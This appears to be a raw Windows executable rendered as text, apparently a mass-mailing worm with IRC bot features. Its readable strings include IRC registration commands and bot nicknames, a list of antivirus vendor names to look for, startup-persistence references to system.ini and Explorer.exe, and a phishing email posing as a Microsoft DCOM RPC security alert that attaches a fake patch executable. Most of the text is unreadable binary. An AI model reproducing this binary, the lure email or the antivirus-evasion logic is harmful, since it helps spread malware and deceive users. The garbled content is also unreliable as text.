MZP@ !L!This program must be run under Win32 $7PEL^B* ܍@@@CODE4 `DATAL@BSS.idata@@.tls.rdata@P.reloc@P.rsrc@P@P@ String%H@%D@%@@%<@%8@%4@%0@%,@%(@%$@% @%@%@%X@%@%T@%@% @%@%@%@%h@%d@%`@%t@%p@%@Sļ TD$,t\$0ÃD[Ë%@%@%@%@%@%@%@%@SV̵@>u:hDjȅu3^[áȵ@ ȵ@3ҋDBdu^[Ð@ËSVu3^[ËPVP XB^[ËP Q̵@̵@SVWUQ$]$PV;CS ;uCC FV;u C F;u‹֋Uu3Z]_^[Í@SVWU؋2C;rlJk ;w^;uBCB)C { uD5; r΋{ ;u)s & J $+|$+ЉS ԋu3 ;u3YZ]_^[ÐSVWڋ} sjh Vj;t#Ӹе@luhjP3_^[ÐSVWUًCjh hU;usjh VU;t#Ӹе@uhjPb3]_^[ÐSVWUL$$D$3҉T$ $ʼnD$е@Q;s;wFC ;D$w;;t$st$C ;D$ vD$ hjVu @߁е@uD$3҉|$ tD$T$D$ +D$T$B]_^[SVWUL$$Ћ$T$D$(D$+ŋT$B5е@<^~ ;v;|$v|$;vjh+WS&u D$3҉ 6е@u ]_^[ËSVWUQ؋4$$+$A5е@8^~ ;$s$;s;vh@+WSu @6е@uZ]_^[Í@SVWU@?]3;{ ,΋׋C>tPFCF)C { u>5;uɋ֋>t!̋֋<$űV3YZ]_^[ËSVWU $@?];t;su;suW;{ L$+S CC |$t3L$ T$]|$ uL$ T$D$%$3҉L$׋|$t4L$ T$|$ fL$ T$D$$3҉Hk;u:;{ 5 $׋q$8t($@C$@)C { u$3҉]_^[ÐSVW$?4$;s[ϋ+ӋL$׸@]\$tL$ T$&D$ D$D$D$|$tT$@3_^[U3Uh@d2d"h@9=5@t h@.е@@ @xhj@=@t/@3ɉL@=u@@@@3ZYYdh@=5@t h@堨@]US=@3Uhn@d2d"=5@t h@f@@P43@е@hjCP%е@uе@@ @uȵ@tȵ@Pȵ@u3ZYYdhu@=5@t h@h@[]S;@u P@PH8;uy@3҉T$y@TP[ËP[Í@ @J;rJ ;r @u@3ҋÐSʃ|[Ã| ʁ [@Ѓ@Ë |Ã| ʁƒ SVЃʁt @ځ+Ë3t @t Ѓ r+;pt @ދ^[Í@SVW3t %؋uXF؃#_^[SVWU$؅kC Ѝ 7+у ++Ń }L$+S׋L$׃Fl$t4+֋cD$SS ;s 7+T$$$ ]_^[Í@SVW߉sƃ p7օy@Du@\[:CZ,<| ֋u@@CZ_^[Í@=@~@=@ } @+@@@3@3@ËSVW<$L$׸ @\$u3R;s )GGt$ ;sGG;uo@G@_^[Í@S؋ԍCD<$t Wu3YZ[ÐSV؋̍V<$t &u3YZ^[Í@3҅y=@Tu@=uSVWU@@@;sC;~{s[;sB;tc ؅uNu3;u)u} }u3E@5@փ@5@LS+ƃ | ֒T;uCƃ Ëփ@5@]_^[USVW؀=@u t~ 3ET3Uh< @d1d!=5@t h@  } Åy@Ttyà B;uÅy @3|&˅y=@D MMAMƋRE@@;@J)@=@ } @3@@@ӃE@@=2E3ZYYdhC @=5@t h@OE_^[YY]Í@UQSVW3@=@ufu@Ea3Uh!@d1d!=5@t h@u@ @%)@tEƃ P |t@ +;Pt@ ڋTË;=@u,)@@=@<~3Et} @ 7)ǃxt 8tx } @ PӋ'@E3ZYYdh!@=5@t h@WE_^[Y]ËSVWU } }Nj;+։$;@u8$)@$@=@ L$@$)@3u ËP$<$ |ދ$Ã+ljD$;@ug@;D$|SD$)@D$@=@ }@@5@3@+@E% uIuMӋ‹H $ $;L$}$ڋ$)D$,*D$)$<$ |Ƌ$y:4$ރ#.t!%Ë؋T$t  3+@E% uYZ]_^[ÐUQSVW؀=@uu 3E3Uhu$@d2d"=5@t h@$֋t]6Ã%;}ƅt׋ˑn}3ZYYdh|$@=5@t h@E_^[Y]Í@S~,@؅u 3ۋ[St0@؅t 3ۋ[Ët2tP4@Y tð0@ uðptP,@Y tÍ@@SV؀=@t ֋@u !w 3Ê8@3Ë^[Ë$PRQ YZXu1Í@S [ÐVWƉ׉9wt/x*_^Ít1|9x_^SVWUSl؊t< v;"u {"u3C<"u1S@S6+؊t<"u;tSS+؊< wƋߋ>3Q<"u8SS;v 7CF;wt<"u;tSS;v 7CF;w< w]_^[ËSVWڋuhD$PjȋԋuӋt;tN_^[ËUEPEku3C {(v>t!Ct SB;Bt tP1{(uS${(t;u=@t@PV ^v]_^[ã@Ð@ËtJI|Ju PBXÐSVÉ֋tJI|JuBjNu^[Ðt$JAPRB\XRHPZXBtJI|JuBÐt JA~BtJI|JuBÍ@~$P PZfDZP@1ÐSVWÉ։ωDžt ‰;_^[Ë1Ʌt!R: t:Jt:Jt :JtBBBZ)Í@1Ɋ BÐWPQ1uXX_}Åt@Åt?SVWÉ֋yV9tN_^[Åta;t\;tPQyZXSVWӉPCFlj‰؋KNSXtO3_^[É(ISVWRP1Lt9u1Lt A9u1Jut‰7v)W7KFPƋDt H/KuZXu tJZ_^[X$Í@SVWƉ9thtkFW)wRt&9uXJtN_9uKJuZt"8uAJt8u:Jt9u'#W)F)Z8u8u 8u8_^[Ët PB~@Ðte;@Ët8JIt2SËB5‹PH&XHI|Hu@[Í@ËËSt-Xt&J|9})Ӆ|9‹D$1D$[SVWÉ։t0JN|*9}&~")9~)؋R)L_^[Åt@t1SVWƉ׋OWVJxF)~uVW_^t Z11Z)_^[Í@SVWÉ1~Ht#xu PXp(NjtH9|;_^[Ë3SӉ1ɅtK)QY[uðMËtPRXÍ@SVÉ֋t PNu^[Í@JQRPQ1SJVWÍt |F؋ O_^[ÐSVWÉ։1ҊV1< t"< t< t$< t3<tM<t<t _^[| OE KKK O2UՋT. \.L.O]UՉ\.EO]_^[Ð1SJVWÍt |F؋O_^[Í@PSVWÉ։1ҊV< t%< t>< tQ< t\<tv<< )AEJ3Et E3FƋƋPUPt23mEE;EtEt;u5];}}tÃU‹M+ϋ;EU]^ E؋EE;}}}t*UUÃ3EPUÃMMӃE;+UUEE3}~.EMO|"GEEPEMEOuE_^[]T$jÐt3Iu'P1ɊJTtHtXËStBtKuPRCZX[ÐUSVWE(@E}t93Uh?D@d0d ]ES3ZYYd EE}u_^[YY]Ë$@$@ËUQE3UhD@d2d"E@t3ZYYdhD@E;$@u E$@$@t;Uu UuY]ËtPRPXÍ@tRPRPXuËQPËɉtQPU3UhnE@d0d @u#8@@г@83ZYYdhuE@]Ð-@si @6@@A@tf<@f@fԳ@,@ (@ @Ð%@%@%@%|@Pj@Í@ËS؅t6=@u u P@P[Ê @@u&d,@Pntá@P]tø@ÐS3@j+@@@3@3@@[Í@U3UhG@d0d @3ZYYdh G@r]Ë-@U3UhQG@d0d  @3ZYYdhXG@:]Ë- @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@3U3Uh)H@d0d @3ZYYdh0H@b]Ë-@%@U3UhiH@d0d @3ZYYdhpH@"]Ë-@%@%@% @%@%@%@%@%@%@%@%@U3UhH@d0d @3ZYYdhI@]Ë-@ [DUST]kit #TehCow cow8I@.1@H@main@%@arnekurtsvenh4xlisalenaharoldtimgregerigormarkhitmanlighterseczkzurgflamerabbesaffeminorTEhx|awy^awy_awy`awy|away^away_away`away|Gone^Gone_Gone`Gone"abcdefghijklmnopqrstuvwxyz_^`[]{}\UjjSVW3UhBL@d0d WK؃u?~]EP0@(й0@UE|K" ؋ @@ENjU!3ZYYdhIL@EI_^[YY]UjjSV3UhL@d0d EL@P{؅t;j JEPEXйE UKu3ZYYdhL@E8^[YY]$abcdefghijklmnopqrstuvwxyz UQEE!3UhM@d0d hM@5@hM@uhM@ȼ@jȼ@Pȼ@=P @P%3ZYYdhM@EXY]PRIVMSG  : U3QQQQ3UhEP@d0d Eĸ@SUXP@>~[h|P@EeuhP@ȼ@jȼ@*Pȼ@oP @PWĸ@UP@hȼ@UP@PEȋEZEPȼ@Ⱥȼ@EPEȃEjjhP@EkPjWjhP@UP@-ĸ@Ej̼@4I@>hP@5@hP@EuhP@ȼ@jȼ@Pȼ@P @P}UP@~]ĸ@/hQ@5@hP@ȼ@EPIE\ElE˺US@؅‹E~E63ZYYdhS@E\[YY] UQSVEEg3UhET@d0d ̼@؍sV̼@4I@x̼@U3ZYYdhLT@EF^[Y]Í@̼@̼@ ȼ@T@>jȼ@Pȼ@+P @PPONG UjSȼ@3UhGU@d0d zh\U@EuhlU@ú=jtPP @PúxU@4jKPP @P{3ZYYdhNU@ED[Y]NICK  5USER poo "wdsfsdfpro" "12dsgsdg0.1" :myrealcrapname USV3ɉM3Uh V@d0d aEWƋUQ3ZYYdhV@E~^[]ËU3UhV@d0d м@ul0@@ @(@@̼@4I@'ȼ@q@g@]@S3ZYYdhV@]Ã-м@gjhD@PH@PH}ËU3UhW@d0d Լ@3ZYYdh$W@n]Ë-Լ@@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/[~~~~~~~~~~~^~~~_TUVWXYZ[\]~~~|~~~ !"#$%&'()*+,-./0123456789~~~~~~:;<=>?@ABCDEFGHIJKLMNOPQRS@`!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_A !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_ USVW3ۉ]UE3UhZ@d0d ؋ӃEEPӃ3X}u#EJ?!F@EE3ۊE,r,rE3ҊD}~RE3ҊӍDPM?U:#ŠM3ҊӋM DZmCED3ҊD}}OE3+ˆEE3ҊӍDPM?U:"ŠM3ҊӋM DZ*EEECE3ҊӍDP3ËUDU:? ZCEE3ҊDE};E,r ,rI}uK,@EEEauUT2 <@T0EMuT}uKvD]EE$uUT2 4@T0EMuCE3ҊD=uEP3Ɋ˺E3ZYYdh[@E_^[]@U SVW3ɉ UEE"E3UhR\@d0d 3E3Uh\@d0d U$$t- EjjjjjhEPjjjV'jEPj-}WV ]~- P׋˰ $ }s3ZYYdh\@}tEvꍅ$P3ZYYdhY\@ E9_^[]U3Uh\@d0d ؼ@u(@@q<@g8@]4@S3ZYYdh\@]Ã-ؼ@Q$jD$Ph@ZSdhD$PËԹNú ]@bĜ[\SdhD$PpËԹúh]@Ĝ[\UjjjjjjjSMU؋E3Uhw^@d0d t8jE2EUEPU3EP6jEBEUEkPU3EXPV}t/h^@EM^@E/Ph^@h^@h^@h^@h^@h^@3ZYYdh~^@E[]system.ini Explorer.exe shellbootExplorer.exeUĴS؍P~Pt4Pu%EPPxEPEPEP_uEE[]S؋@[SVW؋ ЋNj~ SP_^[ÐUSV3ɉM3Uh_@d0d EƋU3ZYYdh_@E$^[]ËUQjjIuMSVWىUEEJEB3UhZa@d0d Epa@c3EMa@rEU+uMN|-F3EP+׋CUEGNu֋ËMUEPEMa@EU+ֹEEUou"E܋Ma@E܋UP3EPEԋMa@EԋU*+ֹEU؋7F3ZYYdhaa@EԺ 1_^[]B@.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-0123456789.UjjIuQSUEEqEi3Uhf@d0d Ef@EM,g@EU+EPEM,g@{EU3ҋEpEUEPE܋M,g@@E܋U+ӹE0UEcEPU8g@@PEȋEZ&EPU8g@l@PEȋEZU8g@JɋUDg@9UPg@$U\g@mUhg@XUxg@CM؋UEgU؍EEԋM,g@ UԋE n}dE8g@QEЋMg@UЋE0U̡@PEPUȋEAEZ@UċE%EPUg@EZUEEPUg@EZUEEPUg@EZ|UEEPUg@EZOUEqEPUg@`EZ_"UEDEPUg@3EZ2UEEPUg@EZUEEPUh@EZUEEPUh@EZur|E|Px h@zxZvu=5@tEVth0h@@$ CjdMEPUE&؋E<SE1ȋEZ~pP3ҋEhp0h@DuEPEȺE;lM,g@lUT3ZYYdhf@l%M[]B@.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-0123456789. wwwwwpftphttp@ .antivsyman microsofttrendmf-secmcafvirusantikavkasp UQSډEE 3Uhh@d0d &EPUh@@PEȋEZDUh@ɋËU3ZYYdhh@EH[Y]\U SVW3҉ UUUEEd$3Uhj@d0d 3Uhtj@d2d" E j@u 3ZYYdHEu 3ZYYd/Uq!=~ 3ZYYdUU˻EUBU|读Um虻uhj@hj@uE(Upt`j@Ej@Ek@E}k@Epk@Ec(k@EV3ZYYd3ZYYdhj@ WEn_^[].  co.nzcomnetorgsetk0k@ TFileName@k@ TSearchRecX,k@ U#jjIuQSVW3UhZu@d0d CPCPu lC#CuۍEPC,PSCPEPC8CCCC SDsC xu@C u@EPC YЃC EUEu@sEPC ЃC cEUE캠u@7EPC ЃC 'EUE亰u@EPC ЃC E؍U`Eܺu@hEPC iЃC EЍU$EԺu@,EPC -ЃC sEȍUE̺u@GEPC ЃC 7EUEĺu@ EPC ЃC EUpEv@xEPC yЃC EU4Ev@<EPC =ЃC EUE v@WEPC ЃC GEUE0v@EPC ЃC  EUE@v@EPC ЃC EUDEPv@LEPC MЃC EUE`v@gEPC ЃC WEUEpv@+xPC ЃC x||v@pPC ЃC pt?tv@tHhPC FЃC hllv@W3Uhs@d0d K EP`7`ddP\v@\Z;K EPTTXbXPPv@KPZGK EPHHLLPDv@DZK EP RCPT TO: <> DATA Message-ID: ..qmail@hotmail.com/FROM: Security Alert TO: <!SUBJECT: DCOM RPC Exploit Patch SUBJECT: DCOM RPC Exploit SUBJECT: Patch your Systems. MIME-Version: 1.0 4Content-Type: multipart/mixed; boundary="--ABCDEF" X-Priotity: 3 X-MSMail-Priority: Normal *X-Mailer: Microsoft Outlook Express 5.50 1X-MimeOLE: Produced by Microsoft MimeOLE v 5.50 , This is a multipart MIME-coded message ----ABCDEF -Content-Type: text/html; charset="us-ascii" -Content-Transfer-Encoding: quoted-printable Ever since the announcement of the RPC DCOM vulnerability,
the hacker community has been busy refining exploits in order to make use of this issue.
Over the last two weeks, a number of exploits have been released.
They are very easy to use and have already been used to attack numerous systems.
Currently, more than 1/4 of the sensors participating in the Internet Storm Center have detected scans for this vulnerability.
If successful, the exploit will be hard to detect.
Only if the exploit failed, you will see a popup alert indicating that the RPC service died. Your machine may reboot by itself as a result.
Essentially all versions of Windows are vulnerable. The only exception is Windows ME.
A patch has been made available by Microsoft as of July 16th 2003.
Recommendation:
/- Patch your systems as fast as possible.
- apply firewall rules to block at least port 135, 139 and 445.
RPC may use other ports as well depending on configuration. Do not use these limited rules in lieu of patches.
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 62003 Microsoft Corporation. All rights reserved
7Content-Type: audio/x-wav; name="MS-56095M_PATCH.exe" #Content-Transfer-Encoding: base64 AContent-Disposition: attachment; filename="MS-56095M_PATCH.exe" Content-ID: MS-56095M_PATCH.exe----ABCDEF--  . U3QQQQQQSډEE3Uh@d0d EPGuú0@軫q@ EEPE3EUuhD@3EUuhD@3EUuhD@3EUuú(3ZYYdh"@Ep[] 127.0.0.1.U3Uh{@d0d @葪ܼ@自3ZYYdh@] @$G@F@xE@$E@\G@,G@4H@H@tH@DH@I@H@V@V@(W@V@\@`\@H@UjjIuQSVW@跸3Uh@d0d Ȑ@3Wܐ@@@yh@ܼ@@Iܼ@k)VhDSjh@V.EPE耪E̪PEjE3Y E@讪E薬и@>jEPE܋.EzPE؋E3Y蹬E@\EDP@9P73Uhm@d0d @t @q@P3ZYYd 襣hܼ@ܼ@@輬Pܼ@Ωȡܼ@Z=ܼ@zh@h f@j蹸f@UԸ @bErP蠸@jjj踸@jh@@Pihh@@@I@|@&jd臷h@@@ޫP@ȡ@Z;=@u-3ZYYdh@EԺkݡ_^[G scrow.exe*.**C:\ ~DP.txtmail.hotmail.com@2@@@@@P @#@@Runtime error at 00000000Error0123456789ABCDEF I@(I@dI@tI@I@I@I@I@I@I@I@I@I@ J@J@,J@0F0N0V0^0f0n0v0~0000000000000 111"1*121:1B1K1l1t111+33374J445E5y555367777778 88-838A8T8^8d8r8x888888888888999$909;9L9R9Z9d9{9999999>:T:::: <P>`>i>>>>>>?:?d?~??????????? 0$0*020\0b0t00000000121:1@1F1x11111122=2F2L2\2e2222222222333334]4c4k44444 55/5<5\5v77888999:n::::E;<Y>b>>b??????00'0a0v00000011*1>1H1[1111111282Z2224?4F4^4444445S5f5z555555555555$6/6L6V6{6666666666 77757I77777g;@L1111114"4b4i4{44444+575>5H5R5i5z555555555555556.6X6f6k66666666666677&737?7L7^7f7n7v7~7777777777777777 88$868>8K8W8d8v8~88888888888888949@9H9V9;;; <<0<_=D=I=Q=V=g=r=}====>>>$>5>@>K>V>m>>>>>>??$?B?M?Z?`?e?u?z????????????P00030I1h1111152@2Q2Y2e2m2222222233A3333344 484U4`4h4m4y44444444 5'5:556#6/666@6K6U6`6j6p6z666666666 77*78e::::;M;<5 >3>8>D>I>N>S>e>??`0 09000 1H111 202k22223303E3Z33333#4P4}444515^555555_666J8^88889#999:*:7:D:Q:^::,;<;T;u;;;0L>>>?<>e>>>> ?2?[?????(0s000N1111 2e<<<<< =O=Z=d=v=======================>>> >/>5>:>L>|>>> ??1?